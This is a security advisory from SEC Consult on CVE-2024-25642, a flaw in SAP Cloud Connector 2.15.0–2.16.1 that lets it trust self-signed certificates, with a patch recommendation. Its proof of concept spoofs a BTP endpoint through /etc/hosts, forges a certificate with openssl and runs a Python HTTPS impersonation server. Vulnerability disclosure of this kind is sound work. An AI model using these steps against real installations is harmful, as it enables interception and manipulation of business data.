Vendor description
"The Cloud Connector is an optional on-premise component that is needed to integrate on-demand applications with customer backend services and is the counterpart of SAP® Connectivity service."
Source: https://tools.hana.ondemand.com/#cloud
Business recommendation
SEC Consult recommends to implement the security note 3424610, where the documented issue is fixed in version 2.16.2 according to the vendor. We advise installing the correction as a matter of priority to keep business-critical data secured.
Source: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/february-2024.html
Vulnerability overview/description
1) Tolerating Self-Signed Certificates (CVE-2024-25642)
As per vendor documentation, the authentication between SCC and SAP® BTP is guaranteed mutually:
"The tunnel itself is using TLS with strong encryption of the communication, and mutual authentication of both communication sides, the client side (Cloud Connector) and the server side (SAP® BTP)."
Source: https://help.sap.com/docs/connectivity/sap-btp-connectivity-cf/inbound-connectivity#tls-tunnel
It was however discovered that the SCC trusts self-signed X.509 server certificates for transport security to establish outbound connections with cloud-related endpoints. Thus, an attacker can impersonate the genuine servers to interact with the SCC, hence breaking the mutual authentication promise. Our analysis shows furthermore that the product does not implement Certificate Pinning for the trusted endpoints.
The security impact of this vulnerability is rated high due to the trust put into self-signed certificates, SCC is unable to distinguish between genuine and malicious SAP® BTP endpoints, rendering trivial adversary-in-the-middle attacks possible.
Proof of concept
1) Tolerating Self-Signed Certificates (CVE-2024-25642)
A "tunnel" established between a subaccount of SAP® BTP and SCC represents a long-lived bi-directional WebSocket over TLS customized by the vendor. Such a tunnel is initiated by the SCC, known as reverse invoke approach, to give the administrator full control of the tunnel.
Two tunnels established by SCC are protected by TLS with respect to encrypted communication. However, SCC does not verify the authenticity of the certification authority, hence allowing an attacker to impersonate the target server, using self-signed certificates.
In particular, the attack is targeted at the following two endpoints, but not limited to the region host us10.
- connectivitynotification.cf.us10.hana.ondemand.com
- connectivity.us10.trial.applicationstudio.cloud.sap
Note that the following endpoint, which is used for the initial certificate signing request by SCC and to receive the BTP subaccount credentials, is not susceptible to this issue.
- connectivitycertsigning.cf.us10.hana.ondemand.com
Nonetheless, it suffices to silently eavesdrop and manipulate network traffic between SCC and SAP® BTP by impersonating the two vulnerable endpoints above.
Without loss of generality, the first endpoint is taken as example to demonstrate the issue by the following steps:
1. Add an entry in /etc/hosts of the SCC host as below to resolve the host name to an attacker-controlled IP address
192.168.1.100 connectivitynotification.cf.us10.hana.ondemand.com2. Generate a self-signed certificate with the spoofed hostname as common name
$ openssl req -x509 -newkey rsa:4096 -keyout conn-noti-key.pem -out conn-noti-cert.pem -sha256 -days 3650 -nodes -subj "/C=DE/ST=Baden-Wuerttemberg/L=Walldorf/O=SAP SE/OU=ITSecurity/CN=connectivitynotification.cf.us10.hana.ondemand.com"3. Start an HTTPS server on the attacker machine to receive the connection from SCC, using the self-signed certificate created in step 2
The following Python script can be used to start the HTTPS server:
$ cat https-dummy-server.py
import http.server
import ssl
server_address = ("192.168.1.100", 443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
server_side=True,
certfile="self-signed-cert/conn-noti-cert.pem",
keyfile="self-signed-cert/conn-noti-key.pem",
ssl_version=ssl.PROTOCOL_TLS)
httpd.serve_forever()4. Connect to a subaccount of BTP, for example US East AWS, in the SCC Administration UI
As soon as the connection is launched, the dummy web server will receive the request as shown below:
$ python3 https-dummy-server.py
192.168.1.200 - - [10/Nov/2023 12:00:00] "GET /connectivity HTTP/1.1" 200 -This observation confirms that the TLS connection between SCC and the spoofed BTP endpoint operated on the attacker's machine has been successfully established although the server presented a self-signed certificate. No security warning message is being displayed in the Administration UI, making the attack surreptitious.
Vulnerable / tested versions:
The following versions have been tested which were the latest versions available at the time of the test:
- SAP® Cloud Connector Linux x86_64 Version 2.16.0
- SAP® Cloud Connector Linux (Portable) x86_64 Version 2.16.0
According to the vendor, the vulnerability is a regression and affects the versions 2.15.0 - 2.16.1.